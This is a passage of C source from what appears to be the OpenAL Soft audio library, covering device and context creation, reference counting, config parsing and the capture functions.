DecrementRef(&source->Send[s].Slot->ref); source->Send[s].Slot = NULL; source->Send[s].Gain = 1.0f; source->Send[s].GainHF = 1.0f; s++; } source->NeedsUpdate = AL_FALSE; ALsource_Update(source, context); } UnlockUIntMapRead(&context->SourceMap); context = context->next; } if(device->DefaultSlot) { ALeffectslot *slot = device->DefaultSlot; if(ALeffectState_DeviceUpdate(slot->EffectState, device) == AL_FALSE) { ALCdevice_Unlock(device); RestoreFPUMode(&oldMode); return ALC_INVALID_DEVICE; } slot->NeedsUpdate = AL_FALSE; ALeffectState_Update(slot->EffectState, device, slot); } ALCdevice_Unlock(device); RestoreFPUMode(&oldMode); if(ALCdevice_StartPlayback(device) == ALC_FALSE) return ALC_INVALID_DEVICE; device->Flags |= DEVICE_RUNNING; return ALC_NO_ERROR; } /* FreeDevice * * Frees the device structure, and destroys any objects the app failed to * delete. Called once there's no more references on the device. */ static ALCvoid FreeDevice(ALCdevice *device) { TRACE("%p\n", device); if(device->Type != Capture) ALCdevice_ClosePlayback(device); else ALCdevice_CloseCapture(device); if(device->DefaultSlot) { ALeffectState_Destroy(device->DefaultSlot->EffectState); device->DefaultSlot->EffectState = NULL; } if(device->BufferMap.size > 0) { WARN("(%p) Deleting %d Buffer(s)\n", device, device->BufferMap.size); ReleaseALBuffers(device); } ResetUIntMap(&device->BufferMap); if(device->EffectMap.size > 0) { WARN("(%p) Deleting %d Effect(s)\n", device, device->EffectMap.size); ReleaseALEffects(device); } ResetUIntMap(&device->EffectMap); if(device->FilterMap.size > 0) { WARN("(%p) Deleting %d Filter(s)\n", device, device->FilterMap.size); ReleaseALFilters(device); } ResetUIntMap(&device->FilterMap); free(device->Bs2b); device->Bs2b = NULL; free(device->DeviceName); device->DeviceName = NULL; DeleteCriticalSection(&device->Mutex); al_free(device); } void ALCdevice_IncRef(ALCdevice *device) { RefCount ref; ref = IncrementRef(&device->ref); TRACEREF("%p increasing refcount to %u\n", device, ref); } void ALCdevice_DecRef(ALCdevice *device) { RefCount ref; ref = DecrementRef(&device->ref); TRACEREF("%p decreasing refcount to %u\n", device, ref); if(ref == 0) FreeDevice(device); } /* VerifyDevice * * Checks if the device handle is valid, and increments its ref count if so. */ static ALCdevice *VerifyDevice(ALCdevice *device) { ALCdevice *tmpDevice; if(!device) return NULL; LockLists(); tmpDevice = DeviceList; while(tmpDevice && tmpDevice != device) tmpDevice = tmpDevice->next; if(tmpDevice) ALCdevice_IncRef(tmpDevice); UnlockLists(); return tmpDevice; } /* InitContext * * Initializes context fields */ static ALvoid InitContext(ALCcontext *Context) { ALint i, j; //Initialise listener Context->Listener.Gain = 1.0f; Context->Listener.MetersPerUnit = 1.0f; Context->Listener.Position[0] = 0.0f; Context->Listener.Position[1] = 0.0f; Context->Listener.Position[2] = 0.0f; Context->Listener.Velocity[0] = 0.0f; Context->Listener.Velocity[1] = 0.0f; Context->Listener.Velocity[2] = 0.0f; Context->Listener.Forward[0] = 0.0f; Context->Listener.Forward[1] = 0.0f; Context->Listener.Forward[2] = -1.0f; Context->Listener.Up[0] = 0.0f; Context->Listener.Up[1] = 1.0f; Context->Listener.Up[2] = 0.0f; for(i = 0;i < 4;i++) { for(j = 0;j < 4;j++) Context->Listener.Matrix[i][j] = ((i==j) ? 1.0f : 0.0f); } //Validate Context Context->LastError = AL_NO_ERROR; Context->UpdateSources = AL_FALSE; Context->ActiveSourceCount = 0; InitUIntMap(&Context->SourceMap, Context->Device->MaxNoOfSources); InitUIntMap(&Context->EffectSlotMap, Context->Device->AuxiliaryEffectSlotMax); //Set globals Context->DistanceModel = AL_INVERSE_DISTANCE_CLAMPED; Context->SourceDistanceModel = AL_FALSE; Context->DopplerFactor = 1.0f; Context->DopplerVelocity = 1.0f; Context->SpeedOfSound = SPEEDOFSOUNDMETRESPERSEC; Context->DeferUpdates = AL_FALSE; Context->ExtensionList = alExtList; } /* FreeContext * * Cleans up the context, and destroys any remaining objects the app failed to * delete. Called once there's no more references on the context. */ static ALCvoid FreeContext(ALCcontext *context) { TRACE("%p\n", context); if(context->SourceMap.size > 0) { ERR("(%p) Deleting %d Source(s)\n", context, context->SourceMap.size); ReleaseALSources(context); } ResetUIntMap(&context->SourceMap); if(context->EffectSlotMap.size > 0) { ERR("(%p) Deleting %d AuxiliaryEffectSlot(s)\n", context, context->EffectSlotMap.size); ReleaseALAuxiliaryEffectSlots(context); } ResetUIntMap(&context->EffectSlotMap); context->ActiveSourceCount = 0; free(context->ActiveSources); context->ActiveSources = NULL; context->MaxActiveSources = 0; context->ActiveEffectSlotCount = 0; free(context->ActiveEffectSlots); context->ActiveEffectSlots = NULL; context->MaxActiveEffectSlots = 0; ALCdevice_DecRef(context->Device); context->Device = NULL; //Invalidate context memset(context, 0, sizeof(ALCcontext)); free(context); } /* ReleaseContext * * Removes the context reference from the given device and removes it from * being current on the running thread or globally. */ static void ReleaseContext(ALCcontext *context, ALCdevice *device) { ALCcontext *volatile*tmp_ctx; if(pthread_getspecific(LocalContext) == context) { WARN("%p released while current on thread\n", context); pthread_setspecific(LocalContext, NULL); ALCcontext_DecRef(context); } if(CompExchangePtr((XchgPtr*)&GlobalContext, context, NULL)) ALCcontext_DecRef(context); ALCdevice_Lock(device); tmp_ctx = &device->ContextList; while(*tmp_ctx) { if(CompExchangePtr((XchgPtr*)tmp_ctx, context, context->next)) break; tmp_ctx = &(*tmp_ctx)->next; } ALCdevice_Unlock(device); ALCcontext_DecRef(context); } void ALCcontext_IncRef(ALCcontext *context) { RefCount ref; ref = IncrementRef(&context->ref); TRACEREF("%p increasing refcount to %u\n", context, ref); } void ALCcontext_DecRef(ALCcontext *context) { RefCount ref; ref = DecrementRef(&context->ref); TRACEREF("%p decreasing refcount to %u\n", context, ref); if(ref == 0) FreeContext(context); } static void ReleaseThreadCtx(void *ptr) { WARN("%p current for thread being destroyed\n", ptr); ALCcontext_DecRef(ptr); } /* VerifyContext * * Checks that the given context is valid, and increments its reference count. */ static ALCcontext *VerifyContext(ALCcontext *context) { ALCdevice *dev; LockLists(); dev = DeviceList; while(dev) { ALCcontext *tmp_ctx = dev->ContextList; while(tmp_ctx) { if(tmp_ctx == context) { ALCcontext_IncRef(tmp_ctx); UnlockLists(); return tmp_ctx; } tmp_ctx = tmp_ctx->next; } dev = dev->next; } UnlockLists(); return NULL; } /* GetContextRef * * Returns the currently active context for this thread, and adds a reference * without locking it. */ ALCcontext *GetContextRef(void) { ALCcontext *context; context = pthread_getspecific(LocalContext); if(context) ALCcontext_IncRef(context); else { LockLists(); context = GlobalContext; if(context) ALCcontext_IncRef(context); UnlockLists(); } return context; } /************************************************ * Standard ALC functions ************************************************/ /* alcGetError * * Return last ALC generated error code for the given device */ ALC_API ALCenum ALC_APIENTRY alcGetError(ALCdevice *device) { ALCenum errorCode; if(VerifyDevice(device)) { errorCode = ExchangeInt(&device->LastError, ALC_NO_ERROR); ALCdevice_DecRef(device); } else errorCode = ExchangeInt(&LastNullDeviceError, ALC_NO_ERROR); return errorCode; } /* alcSuspendContext * * Not functional */ ALC_API ALCvoid ALC_APIENTRY alcSuspendContext(ALCcontext *Context) { (void)Context; } /* alcProcessContext * * Not functional */ ALC_API ALCvoid ALC_APIENTRY alcProcessContext(ALCcontext *Context) { (void)Context; } /* alcGetString * * Returns information about the device, and error strings */ ALC_API const ALCchar* ALC_APIENTRY alcGetString(ALCdevice *Device, ALCenum param) { const ALCchar *value = NULL; switch(param) { case ALC_NO_ERROR: value = alcNoError; break; case ALC_INVALID_ENUM: value = alcErrInvalidEnum; break; case ALC_INVALID_VALUE: value = alcErrInvalidValue; break; case ALC_INVALID_DEVICE: value = alcErrInvalidDevice; break; case ALC_INVALID_CONTEXT: value = alcErrInvalidContext; break; case ALC_OUT_OF_MEMORY: value = alcErrOutOfMemory; break; case ALC_DEVICE_SPECIFIER: value = alcDefaultName; break; case ALC_ALL_DEVICES_SPECIFIER: if(VerifyDevice(Device)) { value = Device->DeviceName; ALCdevice_DecRef(Device); } else { ProbeAllDevicesList(); value = alcAllDevicesList; } break; case ALC_CAPTURE_DEVICE_SPECIFIER: if(VerifyDevice(Device)) { value = Device->DeviceName; ALCdevice_DecRef(Device); } else { ProbeCaptureDeviceList(); value = alcCaptureDeviceList; } break; /* Default devices are always first in the list */ case ALC_DEFAULT_DEVICE_SPECIFIER: value = alcDefaultName; break; case ALC_DEFAULT_ALL_DEVICES_SPECIFIER: if(!alcAllDevicesList) ProbeAllDevicesList(); Device = VerifyDevice(Device); free(alcDefaultAllDevicesSpecifier); alcDefaultAllDevicesSpecifier = strdup(alcAllDevicesList ? alcAllDevicesList : ""); if(!alcDefaultAllDevicesSpecifier) alcSetError(Device, ALC_OUT_OF_MEMORY); value = alcDefaultAllDevicesSpecifier; if(Device) ALCdevice_DecRef(Device); break; case ALC_CAPTURE_DEFAULT_DEVICE_SPECIFIER: if(!alcCaptureDeviceList) ProbeCaptureDeviceList(); Device = VerifyDevice(Device); free(alcCaptureDefaultDeviceSpecifier); alcCaptureDefaultDeviceSpecifier = strdup(alcCaptureDeviceList ? alcCaptureDeviceList : ""); if(!alcCaptureDefaultDeviceSpecifier) alcSetError(Device, ALC_OUT_OF_MEMORY); value = alcCaptureDefaultDeviceSpecifier; if(Device) ALCdevice_DecRef(Device); break; case ALC_EXTENSIONS: if(!VerifyDevice(Device)) value = alcNoDeviceExtList; else { value = alcExtensionList; ALCdevice_DecRef(Device); } break; default: Device = VerifyDevice(Device); alcSetError(Device, ALC_INVALID_ENUM); if(Device) ALCdevice_DecRef(Device); break; } return value; } /* alcGetIntegerv * * Returns information about the device and the version of OpenAL */ ALC_API ALCvoid ALC_APIENTRY alcGetIntegerv(ALCdevice *device,ALCenum param,ALsizei size,ALCint *data) { device = VerifyDevice(device); if(size == 0 || data == NULL) { alcSetError(device, ALC_INVALID_VALUE); if(device) ALCdevice_DecRef(device); return; } if(!device) { switch(param) { case ALC_MAJOR_VERSION: *data = alcMajorVersion; break; case ALC_MINOR_VERSION: *data = alcMinorVersion; break; case ALC_ATTRIBUTES_SIZE: case ALC_ALL_ATTRIBUTES: case ALC_FREQUENCY: case ALC_REFRESH: case ALC_SYNC: case ALC_MONO_SOURCES: case ALC_STEREO_SOURCES: case ALC_CAPTURE_SAMPLES: case ALC_FORMAT_CHANNELS_SOFT: case ALC_FORMAT_TYPE_SOFT: alcSetError(NULL, ALC_INVALID_DEVICE); break; default: alcSetError(NULL, ALC_INVALID_ENUM); break; } } else if(device->Type == Capture) { switch(param) { case ALC_CAPTURE_SAMPLES: LockLists(); /* Re-validate the device since it may have been closed */ ALCdevice_DecRef(device); if((device=VerifyDevice(device)) != NULL) *data = ALCdevice_AvailableSamples(device); else alcSetError(NULL, ALC_INVALID_DEVICE); UnlockLists(); break; case ALC_CONNECTED: *data = device->Connected; break; default: alcSetError(device, ALC_INVALID_ENUM); break; } } else /* render device */ { switch(param) { case ALC_MAJOR_VERSION: *data = alcMajorVersion; break; case ALC_MINOR_VERSION: *data = alcMinorVersion; break; case ALC_EFX_MAJOR_VERSION: *data = alcEFXMajorVersion; break; case ALC_EFX_MINOR_VERSION: *data = alcEFXMinorVersion; break; case ALC_ATTRIBUTES_SIZE: *data = 13; break; case ALC_ALL_ATTRIBUTES: if(size < 13) alcSetError(device, ALC_INVALID_VALUE); else { int i = 0; data[i++] = ALC_FREQUENCY; data[i++] = device->Frequency; if(device->Type != Loopback) { data[i++] = ALC_REFRESH; data[i++] = device->Frequency / device->UpdateSize; data[i++] = ALC_SYNC; data[i++] = ALC_FALSE; } else { data[i++] = ALC_FORMAT_CHANNELS_SOFT; data[i++] = device->FmtChans; data[i++] = ALC_FORMAT_TYPE_SOFT; data[i++] = device->FmtType; } data[i++] = ALC_MONO_SOURCES; data[i++] = device->NumMonoSources; data[i++] = ALC_STEREO_SOURCES; data[i++] = device->NumStereoSources; data[i++] = ALC_MAX_AUXILIARY_SENDS; data[i++] = device->NumAuxSends; data[i++] = 0; } break; case ALC_FREQUENCY: *data = device->Frequency; break; case ALC_REFRESH: if(device->Type == Loopback) alcSetError(device, ALC_INVALID_DEVICE); else *data = device->Frequency / device->UpdateSize; break; case ALC_SYNC: if(device->Type == Loopback) alcSetError(device, ALC_INVALID_DEVICE); else *data = ALC_FALSE; break; case ALC_FORMAT_CHANNELS_SOFT: if(device->Type != Loopback) alcSetError(device, ALC_INVALID_DEVICE); else *data = device->FmtChans; break; case ALC_FORMAT_TYPE_SOFT: if(device->Type != Loopback) alcSetError(device, ALC_INVALID_DEVICE); else *data = device->FmtType; break; case ALC_MONO_SOURCES: *data = device->NumMonoSources; break; case ALC_STEREO_SOURCES: *data = device->NumStereoSources; break; case ALC_MAX_AUXILIARY_SENDS: *data = device->NumAuxSends; break; case ALC_CONNECTED: *data = device->Connected; break; default: alcSetError(device, ALC_INVALID_ENUM); break; } } if(device) ALCdevice_DecRef(device); } /* alcIsExtensionPresent * * Determines if there is support for a particular extension */ ALC_API ALCboolean ALC_APIENTRY alcIsExtensionPresent(ALCdevice *device, const ALCchar *extName) { ALCboolean bResult = ALC_FALSE; device = VerifyDevice(device); if(!extName) alcSetError(device, ALC_INVALID_VALUE); else { size_t len = strlen(extName); const char *ptr = (device ? alcExtensionList : alcNoDeviceExtList); while(ptr && *ptr) { if(strncasecmp(ptr, extName, len) == 0 && (ptr[len] == '\0' || isspace(ptr[len]))) { bResult = ALC_TRUE; break; } if((ptr=strchr(ptr, ' ')) != NULL) { do { ++ptr; } while(isspace(*ptr)); } } } if(device) ALCdevice_DecRef(device); return bResult; } /* alcGetProcAddress * * Retrieves the function address for a particular extension function */ ALC_API ALCvoid* ALC_APIENTRY alcGetProcAddress(ALCdevice *device, const ALCchar *funcName) { ALCvoid *ptr = NULL; if(!funcName) { device = VerifyDevice(device); alcSetError(device, ALC_INVALID_VALUE); if(device) ALCdevice_DecRef(device); } else { ALsizei i = 0; while(alcFunctions[i].funcName && strcmp(alcFunctions[i].funcName, funcName) != 0) i++; ptr = alcFunctions[i].address; } return ptr; } /* alcGetEnumValue * * Get the value for a particular ALC enumeration name */ ALC_API ALCenum ALC_APIENTRY alcGetEnumValue(ALCdevice *device, const ALCchar *enumName) { ALCenum val = 0; if(!enumName) { device = VerifyDevice(device); alcSetError(device, ALC_INVALID_VALUE); if(device) ALCdevice_DecRef(device); } else { ALsizei i = 0; while(enumeration[i].enumName && strcmp(enumeration[i].enumName, enumName) != 0) i++; val = enumeration[i].value; } return val; } /* alcCreateContext * * Create and attach a context to the given device. */ ALC_API ALCcontext* ALC_APIENTRY alcCreateContext(ALCdevice *device, const ALCint *attrList) { ALCcontext *ALContext; ALCenum err; LockLists(); if(!(device=VerifyDevice(device)) || device->Type == Capture || !device->Connected) { UnlockLists(); alcSetError(device, ALC_INVALID_DEVICE); if(device) ALCdevice_DecRef(device); return NULL; } device->LastError = ALC_NO_ERROR; if((err=UpdateDeviceParams(device, attrList)) != ALC_NO_ERROR) { UnlockLists(); alcSetError(device, err); if(err == ALC_INVALID_DEVICE) aluHandleDisconnect(device); ALCdevice_DecRef(device); return NULL; } ALContext = calloc(1, sizeof(ALCcontext)); if(ALContext) { ALContext->ref = 1; ALContext->MaxActiveSources = 256; ALContext->ActiveSources = malloc(sizeof(ALContext->ActiveSources[0]) * ALContext->MaxActiveSources); } if(!ALContext || !ALContext->ActiveSources) { if(!device->ContextList) { ALCdevice_StopPlayback(device); device->Flags &= ~DEVICE_RUNNING; } UnlockLists(); free(ALContext); ALContext = NULL; alcSetError(device, ALC_OUT_OF_MEMORY); ALCdevice_DecRef(device); return NULL; } ALContext->Device = device; ALCdevice_IncRef(device); InitContext(ALContext); do { ALContext->next = device->ContextList; } while(!CompExchangePtr((XchgPtr*)&device->ContextList, ALContext->next, ALContext)); UnlockLists(); ALCdevice_DecRef(device); TRACE("Created context %p\n", ALContext); return ALContext; } /* alcDestroyContext * * Remove a context from its device */ ALC_API ALCvoid ALC_APIENTRY alcDestroyContext(ALCcontext *context) { ALCdevice *Device; LockLists(); /* alcGetContextsDevice sets an error for invalid contexts */ Device = alcGetContextsDevice(context); if(Device) { ReleaseContext(context, Device); if(!Device->ContextList) { ALCdevice_StopPlayback(Device); Device->Flags &= ~DEVICE_RUNNING; } } UnlockLists(); } /* alcGetCurrentContext * * Returns the currently active context on the calling thread */ ALC_API ALCcontext* ALC_APIENTRY alcGetCurrentContext(void) { ALCcontext *Context; Context = pthread_getspecific(LocalContext); if(!Context) Context = GlobalContext; return Context; } /* alcGetThreadContext * * Returns the currently active thread-local context */ ALC_API ALCcontext* ALC_APIENTRY alcGetThreadContext(void) { ALCcontext *Context; Context = pthread_getspecific(LocalContext); return Context; } /* alcMakeContextCurrent * * Makes the given context the active process-wide context, and removes the * thread-local context for the calling thread. */ ALC_API ALCboolean ALC_APIENTRY alcMakeContextCurrent(ALCcontext *context) { /* context must be valid or NULL */ if(context && !(context=VerifyContext(context))) { alcSetError(NULL, ALC_INVALID_CONTEXT); return ALC_FALSE; } /* context's reference count is already incremented */ context = ExchangePtr((XchgPtr*)&GlobalContext, context); if(context) ALCcontext_DecRef(context); if((context=pthread_getspecific(LocalContext)) != NULL) { pthread_setspecific(LocalContext, NULL); ALCcontext_DecRef(context); } return ALC_TRUE; } /* alcSetThreadContext * * Makes the given context the active context for the current thread */ ALC_API ALCboolean ALC_APIENTRY alcSetThreadContext(ALCcontext *context) { ALCcontext *old; /* context must be valid or NULL */ if(context && !(context=VerifyContext(context))) { alcSetError(NULL, ALC_INVALID_CONTEXT); return ALC_FALSE; } /* context's reference count is already incremented */ old = pthread_getspecific(LocalContext); pthread_setspecific(LocalContext, context); if(old) ALCcontext_DecRef(old); return ALC_TRUE; } /* alcGetContextsDevice * * Returns the device that a particular context is attached to */ ALC_API ALCdevice* ALC_APIENTRY alcGetContextsDevice(ALCcontext *Context) { ALCdevice *Device; if(!(Context=VerifyContext(Context))) { alcSetError(NULL, ALC_INVALID_CONTEXT); return NULL; } Device = Context->Device; ALCcontext_DecRef(Context); return Device; } /* alcOpenDevice * * Opens the named device. */ ALC_API ALCdevice* ALC_APIENTRY alcOpenDevice(const ALCchar *deviceName) { const ALCchar *fmt; ALCdevice *device; ALCenum err; DO_INITCONFIG(); if(!PlaybackBackend.name) { alcSetError(NULL, ALC_INVALID_VALUE); return NULL; } if(deviceName && (!deviceName[0] || strcasecmp(deviceName, alcDefaultName) == 0 || strcasecmp(deviceName, "openal-soft") == 0)) deviceName = NULL; device = al_calloc(16, sizeof(ALCdevice)+15+sizeof(ALeffectslot)); if(!device) { alcSetError(NULL, ALC_OUT_OF_MEMORY); return NULL; } //Validate device device->Funcs = &PlaybackBackend.Funcs; device->ref = 1; device->Connected = ALC_TRUE; device->Type = Playback; InitializeCriticalSection(&device->Mutex); device->LastError = ALC_NO_ERROR; device->Flags = 0; device->Bs2b = NULL; device->Bs2bLevel = 0; device->DeviceName = NULL; device->ContextList = NULL; device->MaxNoOfSources = 256; device->AuxiliaryEffectSlotMax = 4; device->NumAuxSends = MAX_SENDS; InitUIntMap(&device->BufferMap, ~0); InitUIntMap(&device->EffectMap, ~0); InitUIntMap(&device->FilterMap, ~0); //Set output format device->FmtChans = DevFmtChannelsDefault; device->FmtType = DevFmtTypeDefault; device->Frequency = DEFAULT_OUTPUT_RATE; device->NumUpdates = 4; device->UpdateSize = 1024; if(ConfigValueStr(NULL, "channels", &fmt)) { static const struct { const char name[16]; enum DevFmtChannels chans; } chanlist[] = { { "mono", DevFmtMono }, { "stereo", DevFmtStereo }, { "quad", DevFmtQuad }, { "surround51", DevFmtX51 }, { "surround61", DevFmtX61 }, { "surround71", DevFmtX71 }, }; size_t i; for(i = 0;i < COUNTOF(chanlist);i++) { if(strcasecmp(chanlist[i].name, fmt) == 0) { device->FmtChans = chanlist[i].chans; device->Flags |= DEVICE_CHANNELS_REQUEST; break; } } if(i == COUNTOF(chanlist)) ERR("Unsupported channels: %s\n", fmt); } if(ConfigValueStr(NULL, "sample-type", &fmt)) { static const struct { const char name[16]; enum DevFmtType type; } typelist[] = { { "int8", DevFmtByte }, { "uint8", DevFmtUByte }, { "int16", DevFmtShort }, { "uint16", DevFmtUShort }, { "int32", DevFmtInt }, { "uint32", DevFmtUInt }, { "float32", DevFmtFloat }, }; size_t i; for(i = 0;i < COUNTOF(typelist);i++) { if(strcasecmp(typelist[i].name, fmt) == 0) { device->FmtType = typelist[i].type; device->Flags |= DEVICE_SAMPLE_TYPE_REQUEST; break; } } if(i == COUNTOF(typelist)) ERR("Unsupported sample-type: %s\n", fmt); } #define DEVICE_FORMAT_REQUEST (DEVICE_CHANNELS_REQUEST|DEVICE_SAMPLE_TYPE_REQUEST) if((device->Flags&DEVICE_FORMAT_REQUEST) != DEVICE_FORMAT_REQUEST && ConfigValueStr(NULL, "format", &fmt)) { static const struct { const char name[32]; enum DevFmtChannels channels; enum DevFmtType type; } formats[] = { { "AL_FORMAT_MONO32", DevFmtMono, DevFmtFloat }, { "AL_FORMAT_STEREO32", DevFmtStereo, DevFmtFloat }, { "AL_FORMAT_QUAD32", DevFmtQuad, DevFmtFloat }, { "AL_FORMAT_51CHN32", DevFmtX51, DevFmtFloat }, { "AL_FORMAT_61CHN32", DevFmtX61, DevFmtFloat }, { "AL_FORMAT_71CHN32", DevFmtX71, DevFmtFloat }, { "AL_FORMAT_MONO16", DevFmtMono, DevFmtShort }, { "AL_FORMAT_STEREO16", DevFmtStereo, DevFmtShort }, { "AL_FORMAT_QUAD16", DevFmtQuad, DevFmtShort }, { "AL_FORMAT_51CHN16", DevFmtX51, DevFmtShort }, { "AL_FORMAT_61CHN16", DevFmtX61, DevFmtShort }, { "AL_FORMAT_71CHN16", DevFmtX71, DevFmtShort }, { "AL_FORMAT_MONO8", DevFmtMono, DevFmtByte }, { "AL_FORMAT_STEREO8", DevFmtStereo, DevFmtByte }, { "AL_FORMAT_QUAD8", DevFmtQuad, DevFmtByte }, { "AL_FORMAT_51CHN8", DevFmtX51, DevFmtByte }, { "AL_FORMAT_61CHN8", DevFmtX61, DevFmtByte }, { "AL_FORMAT_71CHN8", DevFmtX71, DevFmtByte } }; size_t i; ERR("Option 'format' is deprecated, please use 'channels' and 'sample-type'\n"); for(i = 0;i < COUNTOF(formats);i++) { if(strcasecmp(fmt, formats[i].name) == 0) { if(!(device->Flags&DEVICE_CHANNELS_REQUEST)) device->FmtChans = formats[i].channels; if(!(device->Flags&DEVICE_SAMPLE_TYPE_REQUEST)) device->FmtType = formats[i].type; device->Flags |= DEVICE_FORMAT_REQUEST; break; } } if(i == COUNTOF(formats)) ERR("Unsupported format: %s\n", fmt); } #undef DEVICE_FORMAT_REQUEST if(ConfigValueUInt(NULL, "frequency", &device->Frequency)) { device->Flags |= DEVICE_FREQUENCY_REQUEST; if(device->Frequency < MIN_OUTPUT_RATE) ERR("%uhz request clamped to %uhz minimum\n", device->Frequency, MIN_OUTPUT_RATE); device->Frequency = maxu(device->Frequency, MIN_OUTPUT_RATE); } ConfigValueUInt(NULL, "periods", &device->NumUpdates); device->NumUpdates = clampu(device->NumUpdates, 2, 16); ConfigValueUInt(NULL, "period_size", &device->UpdateSize); device->UpdateSize = clampu(device->UpdateSize, 64, 8192); if((CPUCapFlags&CPU_CAP_SSE)) device->UpdateSize = (device->UpdateSize+3)&~3; ConfigValueUInt(NULL, "sources", &device->MaxNoOfSources); if(device->MaxNoOfSources == 0) device->MaxNoOfSources = 256; ConfigValueUInt(NULL, "slots", &device->AuxiliaryEffectSlotMax); if(device->AuxiliaryEffectSlotMax == 0) device->AuxiliaryEffectSlotMax = 4; ConfigValueUInt(NULL, "sends", &device->NumAuxSends); if(device->NumAuxSends > MAX_SENDS) device->NumAuxSends = MAX_SENDS; ConfigValueInt(NULL, "cf_level", &device->Bs2bLevel); device->NumStereoSources = 1; device->NumMonoSources = device->MaxNoOfSources - device->NumStereoSources; // Find a playback device to open LockLists(); if((err=ALCdevice_OpenPlayback(device, deviceName)) != ALC_NO_ERROR) { UnlockLists(); DeleteCriticalSection(&device->Mutex); al_free(device); alcSetError(NULL, err); return NULL; } UnlockLists(); if(DefaultEffect.type != AL_EFFECT_NULL) { device->DefaultSlot = (ALeffectslot*)((ALintptrEXT)(device+1)&~15); if(InitEffectSlot(device->DefaultSlot) != AL_NO_ERROR) { device->DefaultSlot = NULL; ERR("Failed to initialize the default effect slot\n"); } else if(InitializeEffect(device, device->DefaultSlot, &DefaultEffect) != AL_NO_ERROR) { ALeffectState_Destroy(device->DefaultSlot->EffectState); device->DefaultSlot = NULL; ERR("Failed to initialize the default effect\n"); } } do { device->next = DeviceList; } while(!CompExchangePtr((XchgPtr*)&DeviceList, device->next, device)); TRACE("Created device %p, \"%s\"\n", device, device->DeviceName); return device; } /* alcCloseDevice * * Closes the given device. */ ALC_API ALCboolean ALC_APIENTRY alcCloseDevice(ALCdevice *Device) { ALCdevice *volatile*list; ALCcontext *ctx; LockLists(); list = &DeviceList; while(*list && *list != Device) list = &(*list)->next; if(!*list || (*list)->Type == Capture) { alcSetError(*list, ALC_INVALID_DEVICE); UnlockLists(); return ALC_FALSE; } *list = (*list)->next; UnlockLists(); while((ctx=Device->ContextList) != NULL) { WARN("Releasing context %p\n", ctx); ReleaseContext(ctx, Device); } if((Device->Flags&DEVICE_RUNNING)) ALCdevice_StopPlayback(Device); Device->Flags &= ~DEVICE_RUNNING; ALCdevice_DecRef(Device); return ALC_TRUE; } /************************************************ * ALC capture functions ************************************************/ ALC_API ALCdevice* ALC_APIENTRY alcCaptureOpenDevice(const ALCchar *deviceName, ALCuint frequency, ALCenum format, ALCsizei samples) { ALCdevice *device = NULL; ALCenum err; DO_INITCONFIG(); if(!CaptureBackend.name) { alcSetError(NULL, ALC_INVALID_VALUE); return NULL; } if(samples <= 0) { alcSetError(NULL, ALC_INVALID_VALUE); return NULL; } if(deviceName && (!deviceName[0] || strcasecmp(deviceName, alcDefaultName) == 0 || strcasecmp(deviceName, "openal-soft") == 0)) deviceName = NULL; device = al_calloc(16, sizeof(ALCdevice)); if(!device) { alcSetError(NULL, ALC_OUT_OF_MEMORY); return NULL; } //Validate device device->Funcs = &CaptureBackend.Funcs; device->ref = 1; device->Connected = ALC_TRUE; device->Type = Capture; InitializeCriticalSection(&device->Mutex); InitUIntMap(&device->BufferMap, ~0); InitUIntMap(&device->EffectMap, ~0); InitUIntMap(&device->FilterMap, ~0); device->DeviceName = NULL; device->Flags |= DEVICE_FREQUENCY_REQUEST; device->Frequency = frequency; device->Flags |= DEVICE_CHANNELS_REQUEST | DEVICE_SAMPLE_TYPE_REQUEST; if(DecomposeDevFormat(format, &device->FmtChans, &device->FmtType) == AL_FALSE) { DeleteCriticalSection(&device->Mutex); al_free(device); alcSetError(NULL, ALC_INVALID_ENUM); return NULL; } device->UpdateSize = samples; device->NumUpdates = 1; LockLists(); if((err=ALCdevice_OpenCapture(device, deviceName)) != ALC_NO_ERROR) { UnlockLists(); DeleteCriticalSection(&device->Mutex); al_free(device); alcSetError(NULL, err); return NULL; } UnlockLists(); do { device->next = DeviceList; } while(!CompExchangePtr((XchgPtr*)&DeviceList, device->next, device)); TRACE("Created device %p\n", device); return device; } ALC_API ALCboolean ALC_APIENTRY alcCaptureCloseDevice(ALCdevice *Device) { ALCdevice *volatile*list; LockLists(); list = &DeviceList; while(*list && *list != Device) list = &(*list)->next; if(!*list || (*list)->Type != Capture) { alcSetError(*list, ALC_INVALID_DEVICE); UnlockLists(); return ALC_FALSE; } *list = (*list)->next; UnlockLists(); ALCdevice_DecRef(Device); return ALC_TRUE; } ALC_API void ALC_APIENTRY alcCaptureStart(ALCdevice *device) { LockLists(); if(!(device=VerifyDevice(device)) || device->Type != Capture) { UnlockLists(); alcSetError(device, ALC_INVALID_DEVICE); if(device) ALCdevice_DecRef(device); return; } if(device->Connected) { if(!(device->Flags&DEVICE_RUNNING)) ALCdevice_StartCapture(device); device->Flags |= DEVICE_RUNNING; } UnlockLists(); ALCdevice_DecRef(device); } ALC_API void ALC_APIENTRY alcCaptureStop(ALCdevice *device) { LockLists(); if(!(device=VerifyDevice(device)) || device->Type != Capture) { UnlockLists(); alcSetError(device, ALC_INVALID_DEVICE); if(device) ALCdevice_DecRef(device); return; } if((device->Flags&DEVICE_RUNNING)) ALCdevice_StopCapture(device); device->Flags &= ~DEVICE_RUNNING; UnlockLists(); ALCdevice_DecRef(device); } ALC_API void ALC_APIENTRY alcCaptureSamples(ALCdevice *device, ALCvoid *buffer, ALCsizei samples) { ALCenum err = ALC_INVALID_DEVICE; LockLists(); if((device=VerifyDevice(device)) != NULL && device->Type == Capture) { err = ALC_INVALID_VALUE; if(samples >= 0 && ALCdevice_AvailableSamples(device) >= (ALCuint)samples) err = ALCdevice_CaptureSamples(device, buffer, samples); } UnlockLists(); if(err != ALC_NO_ERROR) alcSetError(device, err); if(device) ALCdevice_DecRef(device); } /************************************************ * ALC loopback functions ************************************************/ /* alcLoopbackOpenDeviceSOFT * * Open a loopback device, for manual rendering. */ ALC_API ALCdevice* ALC_APIENTRY alcLoopbackOpenDeviceSOFT(const ALCchar *deviceName) { ALCdevice *device; DO_INITCONFIG(); /* Make sure the device name, if specified, is us. */ if(deviceName && strcmp(deviceName, alcDefaultName) != 0) { alcSetError(NULL, ALC_INVALID_VALUE); return NULL; } device = al_calloc(16, sizeof(ALCdevice)); if(!device) { alcSetError(NULL, ALC_OUT_OF_MEMORY); return NULL; } //Validate device device->Funcs = &BackendLoopback.Funcs; device->ref = 1; device->Connected = ALC_TRUE; device->Type = Loopback; InitializeCriticalSection(&device->Mutex); device->LastError = ALC_NO_ERROR; device->Flags = 0; device->Bs2b = NULL; device->Bs2bLevel = 0; device->DeviceName = NULL; device->ContextList = NULL; 